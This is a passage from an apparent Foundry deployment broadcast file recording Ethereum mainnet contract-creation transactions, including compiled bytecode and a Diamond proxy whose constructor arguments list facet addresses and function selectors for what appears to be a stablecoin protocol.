55601184018054919750612e5b918891908b908110612e4257612e42614488565b9060005260206000200154613c3790919063ffffffff16565b836011018981548110612e7057612e70614488565b6000918252602090912001555060015b8115612eaa57600b54612eaa9073ffffffffffffffffffffffffffffffffffffffff163389613d62565b8015612eca57612eca3387856001018b81548110612a5957612a59614488565b5050505050915091565b6000612ede613be8565b6018810180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff86169081179091556019820184905560408051918252602082018590529192507fe6bcf4a564a699a1c83d282eab21db81fe3ef3c3f867c402e63d074bb77925ff9101610ecc565b6000612f6d613be8565b90506000816001018381548110612f8657612f86614488565b60009182526020808320919091015473ffffffffffffffffffffffffffffffffffffffff16808352600885018252604092839020805460ff808216157fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0090921682179092558451888152911615159281019290925292507f088e9476d8b4139e22c8e66b078291edda3cd924ce0b0e7193f2a38e293e70ee9101610ecc565b600080613030613be8565b6006015492915050565b6000806000613047613be8565b601b810154601c9091015473ffffffffffffffffffffffffffffffffffffffff90911694909350915050565b60008061307e613be8565b601a015473ffffffffffffffffffffffffffffffffffffffff1692915050565b60006130a8613be8565b601081018390556040518381529091507f8902fd14f40c20383dcae5d0f2b3b06b9973c89cac3e900cf9a999830277e8e690602001611222565b60006130ec613be8565b90508281601301858154811061310457613104614488565b90600052602060002001819055508181601401858154811061312857613128614488565b600091825260209182902001919091556040805186815291820185905281018390527f01bae858246c904512695a3f6d48ab88abb7a0192fdd7c53b043e60317795f459060600160405180910390a150505050565b61318683613c67565b6131d25760405162461bcd60e51b815260206004820152601960248201527f436f6c6c61746572616c20646f6573206e6f74206578697374000000000000006044820152606401610500565b60006131dc613be8565b73ffffffffffffffffffffffffffffffffffffffff8516600090815260028201602052604090205460038201805492935090918591908390811061322257613222614488565b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508282600401828154811061328057613280614488565b600091825260209182902001919091556040805183815273ffffffffffffffffffffffffffffffffffffffff87169281019290925281018490527f9c42f4d9153d55d78cf2011cd58875a5b9a8b1a30b7d0e7857d4fd69300161229060600160405180910390a15050505050565b60006132f8613be8565b90508181600a01848154811061331057613310614488565b90600052602060002001819055507f4cb99f07bf9ab5f864d81d791709058819f4188481fb3c70b90a1765e003b16e8383604051610ecc929190918252602082015260400190565b6000613362613be8565b9050600081600301838154811061337b5761337b614488565b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000808273ffffffffffffffffffffffffffffffffffffffff1663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa1580156133f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061341a91906144ea565b5093505092505060008373ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa15801561346e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613492919061453a565b60ff169050600083136134e75760405162461bcd60e51b815260206004820152600d60248201527f496e76616c6964207072696365000000000000000000000000000000000000006044820152606401610500565b8460040186815481106134fc576134fc614488565b906000526020600020015482426135139190614586565b106135605760405162461bcd60e51b815260206004820152600a60248201527f5374616c652064617461000000000000000000000000000000000000000000006044820152606401610500565b60006135706126fb83600a6146b9565b90508086600501888154811061358857613588614488565b90600052602060002001819055507f16374e3dc228b497b5a9b2dff5883c395120625fbe7e794fdcc5d305ce13ed0787826040516135d0929190918252602082015260400190565b60405180910390a150505050505050565b60008060008860006135f1613be8565b905080600801600082600101848154811061360e5761360e614488565b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282019290925260400190205460ff1661368f5760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c2064697361626c6564000000000000000000000000006044820152606401610500565b613697613be8565b6016018b815481106136ab576136ab614488565b60009182526020918290209181049091015460ff601f9092166101000a900416156137185760405162461bcd60e51b815260206004820152601160248201527f4d696e74696e67206973207061757365640000000000000000000000000000006044820152606401610500565b613720613be8565b600c015461372c61122e565b101561377a5760405162461bcd60e51b815260206004820152601460248201527f446f6c6c617220707269636520746f6f206c6f770000000000000000000000006044820152606401610500565b6137838b613358565b858061379d5750620f4240613796613be8565b6006015410155b156137b7576137ac8b8b6124a6565b935060009250613845565b6137bf613be8565b600601546000036137ed57600093506137e66137d961251a565b6114ca8c620f4240613c43565b9250613845565b600061380c620f42406114ca613801613be8565b600601548e90613c43565b9050600061381a8c83613c37565b90506138268d836124a6565b955061384061383361251a565b6114ca83620f4240613c43565b945050505b613875620f42406114ca61386e61385a613be8565b6013018f8154811061177d5761177d614488565b8d90613c43565b9450888510156138c75760405162461bcd60e51b815260206004820152600f60248201527f446f6c6c617220736c69707061676500000000000000000000000000000000006044820152606401610500565b878411156139175760405162461bcd60e51b815260206004820152601360248201527f436f6c6c61746572616c20736c697070616765000000000000000000000000006044820152606401610500565b868311156139675760405162461bcd60e51b815260206004820152601360248201527f476f7665726e616e636520736c697070616765000000000000000000000000006044820152606401610500565b61396f613be8565b600a018b8154811061398357613983614488565b90600052602060002001546139a18561399b8e610ed9565b90613c5b565b11156139ef5760405162461bcd60e51b815260206004820152600c60248201527f506f6f6c206365696c696e6700000000000000000000000000000000000000006044820152606401610500565b6000600b01546040517f79cc67900000000000000000000000000000000000000000000000000000000081523360048201526024810185905273ffffffffffffffffffffffffffffffffffffffff909116906379cc679090604401600060405180830381600087803b158015613a6457600080fd5b505af1158015613a78573d6000803e3d6000fd5b50505050613ac8333086613a8a613be8565b6001018f81548110613a9e57613a9e614488565b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16929190613e36565b6000600101546040517f40c10f190000000000000000000000000000000000000000000000000000000081523360048201526024810187905273ffffffffffffffffffffffffffffffffffffffff909116906340c10f1990604401600060405180830381600087803b158015613b3d57600080fd5b505af1158015613b51573d6000803e3d6000fd5b50505050505096509650969350505050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00613bb260017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd77614586565b1692915050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600183016020526040812054151561053f565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00613bb260017f2a1c4d9e43cc908458204ba8dd637dd73ede6adc739c3209ac617ae953246cc1614586565b600061053f8284614586565b600061053f82846149ba565b600061053f82846149d1565b600061053f828461496f565b600080613c72613be8565b9050600081600101805480602002602001604051908101604052809291908181526020018280548015613cdb57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311613cb0575b5050505050905060005b8151811015613d57578473ffffffffffffffffffffffffffffffffffffffff16828281518110613d1757613d17614488565b602002602001015173ffffffffffffffffffffffffffffffffffffffff1603613d4557506001949350505050565b80613d4f81614982565b915050613ce5565b506000949350505050565b60405173ffffffffffffffffffffffffffffffffffffffff83166024820152604481018290526107d29084907fa9059cbb00000000000000000000000000000000000000000000000000000000906064015b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152613e94565b60405173ffffffffffffffffffffffffffffffffffffffff80851660248301528316604482015260648101829052612a829085907f23b872dd0000000000000000000000000000000000000000000000000000000090608401613db4565b6000613ef6826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff16613f899092919063ffffffff16565b9050805160001480613f17575080806020019051810190613f179190614a0c565b6107d25760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610500565b60606125128484600085856000808673ffffffffffffffffffffffffffffffffffffffff168587604051613fbd9190614a29565b60006040518083038185875af1925050503d8060008114613ffa576040519150601f19603f3d011682016040523d82523d6000602084013e613fff565b606091505b50915091506140108783838761401b565b979650505050505050565b606083156140975782516000036140905773ffffffffffffffffffffffffffffffffffffffff85163b6140905760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610500565b5081612512565b61251283838151156140ac5781518083602001fd5b8060405162461bcd60e51b81526004016105009190614a45565b60ff811681146105a657600080fd5b600080604083850312156140e857600080fd5b8235915060208301356140fa816140c6565b809150509250929050565b60006020828403121561411757600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461414257600080fd5b919050565b60006020828403121561415957600080fd5b61053f8261411e565b6000806040838503121561417557600080fd5b61417e8361411e565b946020939093013593505050565b6000806040838503121561419f57600080fd5b50508035926020909101359150565b600080600080608085870312156141c457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806000606084860312156141f557600080fd5b6141fe8461411e565b925061420c6020850161411e565b9150604084013590509250925092565b6020808252825182820181905260009190848201906040850190845b8181101561426a57835173ffffffffffffffffffffffffffffffffffffffff1683529284019291840191600101614238565b50909695505050505050565b60005b83811015614291578181015183820152602001614279565b50506000910152565b600081518084526142b2816020860160208601614276565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815281516020820152600060208301516101c080604085015261430d6101e085018361429a565b91506040850151614336606086018273ffffffffffffffffffffffffffffffffffffffff169052565b50606085015173ffffffffffffffffffffffffffffffffffffffff8116608086015250608085015160a085015260a085015161437660c086018215159052565b5060c085015160e08581019190915285015161010080860191909152850151610120808601919091528501516101406143b28187018315159052565b86015190506101606143c78682018315159052565b86015190506101806143dc8682018315159052565b8601516101a0868101919091529095015193019290925250919050565b60008060006060848603121561440e57600080fd5b505081359360208301359350604090920135919050565b80151581146105a657600080fd5b60008060008060008060c0878903121561444c57600080fd5b863595506020870135945060408701359350606087013592506080870135915060a087013561447a81614425565b809150509295509295509295565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000602082840312156144c957600080fd5b5051919050565b805169ffffffffffffffffffff8116811461414257600080fd5b600080600080600060a0868803121561450257600080fd5b61450b866144d0565b945060208601519350604086015192506060860151915061452e608087016144d0565b90509295509295909350565b60006020828403121561454c57600080fd5b815161053f816140c6565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b8181038181111561052257610522614557565b600181815b808511156145f257817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048211156145d8576145d8614557565b808516156145e557918102915b93841c939080029061459e565b509250929050565b60008261460957506001610522565b8161461657506000610522565b816001811461462c576002811461463657614652565b6001915050610522565b60ff84111561464757614647614557565b50506001821b610522565b5060208310610133831016604e8410600b8410161715614675575081810a610522565b61467f8383614599565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048211156146b1576146b1614557565b029392505050565b600061053f83836145fa565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60006020828403121561470657600080fd5b815167ffffffffffffffff8082111561471e57600080fd5b818401915084601f83011261473257600080fd5b815181811115614744576147446146c5565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f0116810190838211818310171561478a5761478a6146c5565b816040528281528760208487010111156147a357600080fd5b614010836020830160208801614276565b600181811c908216806147c857607f821691505b602082108103614801577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b601f8211156107d257600081815260208120601f850160051c8101602086101561482e5750805b601f850160051c820191505b8181101561484d5782815560010161483a565b505050505050565b815167ffffffffffffffff81111561486f5761486f6146c5565b6148838161487d84546147b4565b84614807565b602080601f8311600181146148d657600084156148a05750858301515b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600386901b1c1916600185901b17855561484d565b6000858152602081207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08616915b8281101561492357888601518255948401946001909101908401614904565b508582101561495f57878501517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600388901b60f8161c191681555b5050505050600190811b01905550565b8082018082111561052257610522614557565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036149b3576149b3614557565b5060010190565b808202811582820484141761052257610522614557565b600082614a07577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b600060208284031215614a1e57600080fd5b815161053f81614425565b60008251614a3b818460208701614276565b9190910192915050565b60208152600061053f602083018461429a56fea2646970667358221220343c2f151b0e944f752d8d2f199fe9c50ace488f84e16a2aba40011aaa5d745164736f6c63430008130033", + "nonce": "0x452", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xdd953eb1dafbdb036b436d2cd1fa8c430bfb3a4cf2effb1924a161d570ca1bda", + "transactionType": "CREATE", + "contractName": null, + "contractAddress": "0x12fe22572873d18764df0c999b6c998bfab247fb", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x64564", + "value": "0x0", + "input": "0x608060405234801561001057600080fd5b506104cb806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80633cfffd3914610030575b600080fd5b61004361003e3660046103cf565b610045565b005b600061004f610245565b7f01ffc9a7000000000000000000000000000000000000000000000000000000006000908152600382016020526040808220805460017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0091821681179092557f1f931c1c00000000000000000000000000000000000000000000000000000000845282842080548216831790557f48e2b09300000000000000000000000000000000000000000000000000000000845282842080548216831790557f7f5828d0000000000000000000000000000000000000000000000000000000008452918320805490921617905583519192506101469161029b565b6101747f2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd836000015161029b565b6101a27fd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0836000015161029b565b6101d07f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a836000015161029b565b50601680547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016905551600a80547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff9092169190911790556001600055565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061029460017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c61045b565b1692915050565b6102bc816102a7610306565b60008581526020919091526040902090610355565b50604051339073ffffffffffffffffffffffffffffffffffffffff83169084907f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d90600090a45050565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061029460017f7a9158dd65ad6382295fd9a8aad0a64b5d99867a77a0a1b2bc38a4f50be8bd7761045b565b60006103778373ffffffffffffffffffffffffffffffffffffffff8416610380565b90505b92915050565b60008181526001830160205260408120546103c75750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561037a565b50600061037a565b6000602082840312156103e157600080fd5b6040516020810181811067ffffffffffffffff8211171561042b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604052823573ffffffffffffffffffffffffffffffffffffffff8116811461045257600080fd5b81529392505050565b8181038181111561037a577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212205beec36dcd561f99ded7e9d8e36f3e88bb996cc370c357543136bbeec110208764736f6c63430008130033", + "nonce": "0x453", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xfde72bf86abe4a31e46f993d9b44f44279f9fdcfad97b112768650e3bc3bc3bf", + "transactionType": "CREATE", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": [ + "(0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd, 0x12fe22572873D18764Df0c999b6C998bFAB247FB, 0x3cfffd39000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd)", + "[(0xe17a61e55CCBc3D1E56B6A26eA1d4F8382a40AD9, 0, [0x248a9ca300000000000000000000000000000000000000000000000000000000, 0x2f2ff15d00000000000000000000000000000000000000000000000000000000, 0x91d1485400000000000000000000000000000000000000000000000000000000, 0x8456cb5900000000000000000000000000000000000000000000000000000000, 0x5c975abb00000000000000000000000000000000000000000000000000000000, 0x8bb9c5bf00000000000000000000000000000000000000000000000000000000, 0xd547741f00000000000000000000000000000000000000000000000000000000, 0x1e4e009100000000000000000000000000000000000000000000000000000000, 0x3f4ba83a00000000000000000000000000000000000000000000000000000000]), (0xd3C81BD07948a38546bCa894f8bfecB552613798, 0, [0x1f931c1c00000000000000000000000000000000000000000000000000000000]), (0xD11B60c336A8416162272475Ff9dF572E516fc51, 0, [0xcdffacc600000000000000000000000000000000000000000000000000000000, 0x52ef6b2c00000000000000000000000000000000000000000000000000000000, 0xadfca15e00000000000000000000000000000000000000000000000000000000, 0x7a0ed62700000000000000000000000000000000000000000000000000000000, 0x01ffc9a700000000000000000000000000000000000000000000000000000000]), (0x0E9f3299B9443d3D5130771f26B7E18a2a7aa9Db, 0, [0x1a47c90400000000000000000000000000000000000000000000000000000000, 0x421e108c00000000000000000000000000000000000000000000000000000000, 0x91df16d300000000000000000000000000000000000000000000000000000000, 0xb0bd67b400000000000000000000000000000000000000000000000000000000, 0x8b38ebb300000000000000000000000000000000000000000000000000000000, 0xebef28a700000000000000000000000000000000000000000000000000000000, 0x017df32700000000000000000000000000000000000000000000000000000000, 0xfbff3a4100000000000000000000000000000000000000000000000000000000, 0xe0ee685500000000000000000000000000000000000000000000000000000000, 0xbc3ea01800000000000000000000000000000000000000000000000000000000, 0xa9b8b79600000000000000000000000000000000000000000000000000000000, 0x214f788200000000000000000000000000000000000000000000000000000000, 0xb42165d000000000000000000000000000000000000000000000000000000000, 0x221e2e6000000000000000000000000000000000000000000000000000000000, 0x33c5aa5700000000000000000000000000000000000000000000000000000000, 0xc0030add00000000000000000000000000000000000000000000000000000000, 0xdd390ea000000000000000000000000000000000000000000000000000000000, 0xba2d8cdd00000000000000000000000000000000000000000000000000000000, 0x93e4e9ee00000000000000000000000000000000000000000000000000000000, 0x1a867af500000000000000000000000000000000000000000000000000000000, 0xf986cd5700000000000000000000000000000000000000000000000000000000, 0xf6f172cb00000000000000000000000000000000000000000000000000000000, 0x15f9739800000000000000000000000000000000000000000000000000000000, 0xe2d443bd00000000000000000000000000000000000000000000000000000000, 0x016afee700000000000000000000000000000000000000000000000000000000, 0xbe1d86e100000000000000000000000000000000000000000000000000000000, 0x9232461100000000000000000000000000000000000000000000000000000000, 0x1f7e8c7e00000000000000000000000000000000000000000000000000000000, 0x1c1f8aa300000000000000000000000000000000000000000000000000000000, 0x0083faee00000000000000000000000000000000000000000000000000000000, 0x147f1b9600000000000000000000000000000000000000000000000000000000, 0x6605bfda00000000000000000000000000000000000000000000000000000000, 0x826d5b8b00000000000000000000000000000000000000000000000000000000, 0xd3815fb900000000000000000000000000000000000000000000000000000000, 0x965cc7ac00000000000000000000000000000000000000000000000000000000, 0x3535f48b00000000000000000000000000000000000000000000000000000000, 0xad3401ed00000000000000000000000000000000000000000000000000000000, 0x36c3df2400000000000000000000000000000000000000000000000000000000, 0xc5f956af00000000000000000000000000000000000000000000000000000000, 0x8fe6368300000000000000000000000000000000000000000000000000000000, 0xe8b7342400000000000000000000000000000000000000000000000000000000]), (0x58860E93B6FC7A6e4aBD0F5d851A88654a34d0c0, 0, [0x8da5cb5b00000000000000000000000000000000000000000000000000000000, 0xf2fde38b00000000000000000000000000000000000000000000000000000000]), (0xb64f2347752192F51930Ad6Ad3bEa0B3A2074fAC, 0, [0x2ed4d2d600000000000000000000000000000000000000000000000000000000, 0x7efc918f00000000000000000000000000000000000000000000000000000000, 0x81f1746700000000000000000000000000000000000000000000000000000000, 0x9aae55a700000000000000000000000000000000000000000000000000000000, 0x82ae27cd00000000000000000000000000000000000000000000000000000000, 0xb4eae1cb00000000000000000000000000000000000000000000000000000000, 0x9c49437300000000000000000000000000000000000000000000000000000000, 0x9d202bf800000000000000000000000000000000000000000000000000000000, 0x9b52b9a800000000000000000000000000000000000000000000000000000000, 0x17b2bffa00000000000000000000000000000000000000000000000000000000, 0x87dcd5fb00000000000000000000000000000000000000000000000000000000, 0x5b0bdd8a00000000000000000000000000000000000000000000000000000000, 0x92beb04200000000000000000000000000000000000000000000000000000000, 0x245cd97300000000000000000000000000000000000000000000000000000000, 0x2287fe4000000000000000000000000000000000000000000000000000000000, 0xc4cb35cf00000000000000000000000000000000000000000000000000000000, 0xedecef9500000000000000000000000000000000000000000000000000000000, 0x7e625a5500000000000000000000000000000000000000000000000000000000, 0x30bbe58500000000000000000000000000000000000000000000000000000000, 0xde858d7c00000000000000000000000000000000000000000000000000000000, 0x6060663e00000000000000000000000000000000000000000000000000000000, 0xa14d1f7800000000000000000000000000000000000000000000000000000000, 0xcec10c1100000000000000000000000000000000000000000000000000000000, 0x9b94607c00000000000000000000000000000000000000000000000000000000, 0xecfd1a9e00000000000000000000000000000000000000000000000000000000, 0x7853c88800000000000000000000000000000000000000000000000000000000, 0xcbd4e7b400000000000000000000000000000000000000000000000000000000, 0x8106016300000000000000000000000000000000000000000000000000000000, 0xb98c9fe600000000000000000000000000000000000000000000000000000000, 0xaeaf4f0400000000000000000000000000000000000000000000000000000000, 0x040da68500000000000000000000000000000000000000000000000000000000, 0xedc8d27d00000000000000000000000000000000000000000000000000000000])]" + ], + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x48e7e0", + "value": "0x0", + "input": "0x60806040523480156200001157600080fd5b506040516200182f3803806200182f8339810160408190526200003491620011f2565b8151620000419062000064565b6200005c8183602001518460400151620000c660201b60201c565b505062001568565b60006200007062000321565b6004810180546001600160a01b038581166001600160a01b031983168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3505050565b60005b8351811015620002d2576000848281518110620000ea57620000ea6200130a565b6020026020010151602001519050600060028111156200010e576200010e62001320565b81600281111562000123576200012362001320565b0362000181576200017b8583815181106200014257620001426200130a565b6020026020010151600001518684815181106200016357620001636200130a565b6020026020010151604001516200035b60201b60201c565b620002bc565b600181600281111562000198576200019862001320565b03620001f0576200017b858381518110620001b757620001b76200130a565b602002602001015160000151868481518110620001d857620001d86200130a565b602002602001015160400151620005e660201b60201c565b600281600281111562000207576200020762001320565b036200025f576200017b8583815181106200022657620002266200130a565b6020026020010151600001518684815181106200024757620002476200130a565b6020026020010151604001516200087c60201b60201c565b60405162461bcd60e51b815260206004820152602760248201527f4c69624469616d6f6e644375743a20496e636f727265637420466163657443756044820152663a20b1ba34b7b760c91b60648201526084015b60405180910390fd5b5080620002c9816200134c565b915050620000c9565b507f8faa70878671ccd212d20771b795c50af8fd3ff6cf27f4bde57e5d4de0aeb673838383604051620003089392919062001396565b60405180910390a16200031c8282620009e0565b505050565b60008060ff196200035460017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c6200149d565b1692915050565b6000815111620003b15760405162461bcd60e51b815260206004820152602b60248201526000805160206200180f83398151915260448201526a1858d95d081d1bc818dd5d60aa1b6064820152608401620002b3565b6000620003bd62000321565b90506001600160a01b0383166200041b5760405162461bcd60e51b815260206004820152602c6024820152600080516020620017cb83398151915260448201526b65206164647265737328302960a01b6064820152608401620002b3565b6001600160a01b0383166000908152600182016020526040812054906001600160601b0382169003620004545762000454828562000ab2565b60005b8351811015620005df5760008482815181106200047857620004786200130a565b6020908102919091018101516001600160e01b031981166000908152918690526040909120549091506001600160a01b03168015620005205760405162461bcd60e51b815260206004820152603560248201527f4c69624469616d6f6e644375743a2043616e2774206164642066756e6374696f60448201527f6e207468617420616c72656164792065786973747300000000000000000000006064820152608401620002b3565b6001600160e01b0319821660008181526020878152604080832080546001600160a01b03908116600160a01b6001600160601b038c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281546001600160a01b03191617905583620005c481620014b9565b94505050508080620005d6906200134c565b91505062000457565b5050505050565b60008151116200063c5760405162461bcd60e51b815260206004820152602b60248201526000805160206200180f83398151915260448201526a1858d95d081d1bc818dd5d60aa1b6064820152608401620002b3565b60006200064862000321565b90506001600160a01b038316620006a65760405162461bcd60e51b815260206004820152602c6024820152600080516020620017cb83398151915260448201526b65206164647265737328302960a01b6064820152608401620002b3565b6001600160a01b0383166000908152600182016020526040812054906001600160601b0382169003620006df57620006df828562000ab2565b60005b8351811015620005df5760008482815181106200070357620007036200130a565b6020908102919091018101516001600160e01b031981166000908152918690526040909120549091506001600160a01b039081169087168103620007b05760405162461bcd60e51b815260206004820152603860248201527f4c69624469616d6f6e644375743a2043616e2774207265706c6163652066756e60448201527f6374696f6e20776974682073616d652066756e6374696f6e00000000000000006064820152608401620002b3565b620007bd85828462000b1f565b6001600160e01b0319821660008181526020878152604080832080546001600160a01b03908116600160a01b6001600160601b038c16021782558c168085526001808c0185529285208054938401815585528385206008840401805463ffffffff60079095166004026101000a948502191660e08a901c94909402939093179092559390925287905281546001600160a01b031916179055836200086181620014b9565b9450505050808062000873906200134c565b915050620006e2565b6000815111620008d25760405162461bcd60e51b815260206004820152602b60248201526000805160206200180f83398151915260448201526a1858d95d081d1bc818dd5d60aa1b6064820152608401620002b3565b6000620008de62000321565b90506001600160a01b038316156200095f5760405162461bcd60e51b815260206004820152603660248201527f4c69624469616d6f6e644375743a2052656d6f7665206661636574206164647260448201527f657373206d7573742062652061646472657373283029000000000000000000006064820152608401620002b3565b60005b8251811015620009da5760008382815181106200098357620009836200130a565b6020908102919091018101516001600160e01b031981166000908152918590526040909120549091506001600160a01b0316620009c284828462000b1f565b50508080620009d1906200134c565b91505062000962565b50505050565b6001600160a01b038216620009f3575050565b62000a1882604051806060016040528060288152602001620017a36028913962000f79565b600080836001600160a01b03168360405162000a359190620014ea565b600060405180830381855af49150503d806000811462000a72576040519150601f19603f3d011682016040523d82523d6000602084013e62000a77565b606091505b509150915081620009da5780511562000a935780518082602001fd5b838360405163192105d760e01b8152600401620002b392919062001508565b62000ad781604051806060016040528060248152602001620017eb6024913962000f79565b6002820180546001600160a01b0390921660008181526001948501602090815260408220860185905594840183559182529290200180546001600160a01b0319169091179055565b6001600160a01b03821662000b9d5760405162461bcd60e51b815260206004820152603760248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f76652066756e6360448201527f74696f6e207468617420646f65736e27742065786973740000000000000000006064820152608401620002b3565b63381b38f960e21b6001600160e01b031982160162000c175760405162461bcd60e51b815260206004820152602f60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f7665206469616d60448201526e37b73221baba10333ab731ba34b7b760891b6064820152608401620002b3565b306001600160a01b0383160362000c885760405162461bcd60e51b815260206004820152602e60248201527f4c69624469616d6f6e644375743a2043616e27742072656d6f766520696d6d7560448201526d3a30b1363290333ab731ba34b7b760911b6064820152608401620002b3565b6001600160e01b03198116600090815260208481526040808320546001600160a01b0386168452600180880190935290832054600160a01b9091046001600160601b0316929162000cd9916200149d565b905080821462000dd2576001600160a01b0384166000908152600186016020526040812080548390811062000d125762000d126200130a565b600091825260208083206008830401546001600160a01b038916845260018a019091526040909220805460079092166004026101000a90920460e01b92508291908590811062000d665762000d666200130a565b600091825260208083206008830401805463ffffffff60079094166004026101000a938402191660e09590951c929092029390931790556001600160e01b03199290921682528690526040902080546001600160a01b0316600160a01b6001600160601b038516021790555b6001600160a01b0384166000908152600186016020526040902080548062000dfe5762000dfe62001536565b60008281526020808220600860001990940193840401805463ffffffff600460078716026101000a0219169055919092556001600160e01b03198516825286905260408120819055819003620005df57600285015460009062000e64906001906200149d565b6001600160a01b038616600090815260018089016020526040909120015490915080821462000f1a57600087600201838154811062000ea75762000ea76200130a565b6000918252602090912001546002890180546001600160a01b03909216925082918490811062000edb5762000edb6200130a565b600091825260208083209190910180546001600160a01b0319166001600160a01b03948516179055929091168152600189810190925260409020018190555b8660020180548062000f305762000f3062001536565b60008281526020808220830160001990810180546001600160a01b03191690559092019092556001600160a01b0388168252600189810190915260408220015550505050505050565b813b8181620009da5760405162461bcd60e51b8152600401620002b391906200154c565b634e487b7160e01b600052604160045260246000fd5b604051606081016001600160401b038111828210171562000fd85762000fd862000f9d565b60405290565b604051601f8201601f191681016001600160401b038111828210171562001009576200100962000f9d565b604052919050565b80516001600160a01b03811681146200102957600080fd5b919050565b60005b838110156200104b57818101518382015260200162001031565b50506000910152565b60006001600160401b0382111562001070576200107062000f9d565b5060051b60200190565b600082601f8301126200108c57600080fd5b81516020620010a56200109f8362001054565b62000fde565b828152600592831b8501820192828201919087851115620010c557600080fd5b8387015b85811015620011e55780516001600160401b0380821115620010eb5760008081fd5b908901906060828c03601f1901811315620011065760008081fd5b6200111062000fb3565b6200111d89850162001011565b815260408085015160038110620011345760008081fd5b828b01529184015191838311156200114c5760008081fd5b82850194508d603f8601126200116457600093508384fd5b898501519350620011796200109f8562001054565b84815293871b85018101938a810193508e851115620011985760008081fd5b948101945b84861015620011d05785516001600160e01b031981168114620011c05760008081fd5b8452948a0194928a01926200119d565b908201528752505050928401928401620010c9565b5090979650505050505050565b600080604083850312156200120657600080fd5b82516001600160401b03808211156200121e57600080fd5b90840190606082870312156200123357600080fd5b6200123d62000fb3565b620012488362001011565b815260206200125981850162001011565b818301526040840151838111156200127057600080fd5b80850194505087601f8501126200128657600080fd5b8351838111156200129b576200129b62000f9d565b620012af601f8201601f1916830162000fde565b8181528983838801011115620012c457600080fd5b620012d5828483018589016200102e565b604084015250860151909450915080821115620012f157600080fd5b5062001300858286016200107a565b9150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b716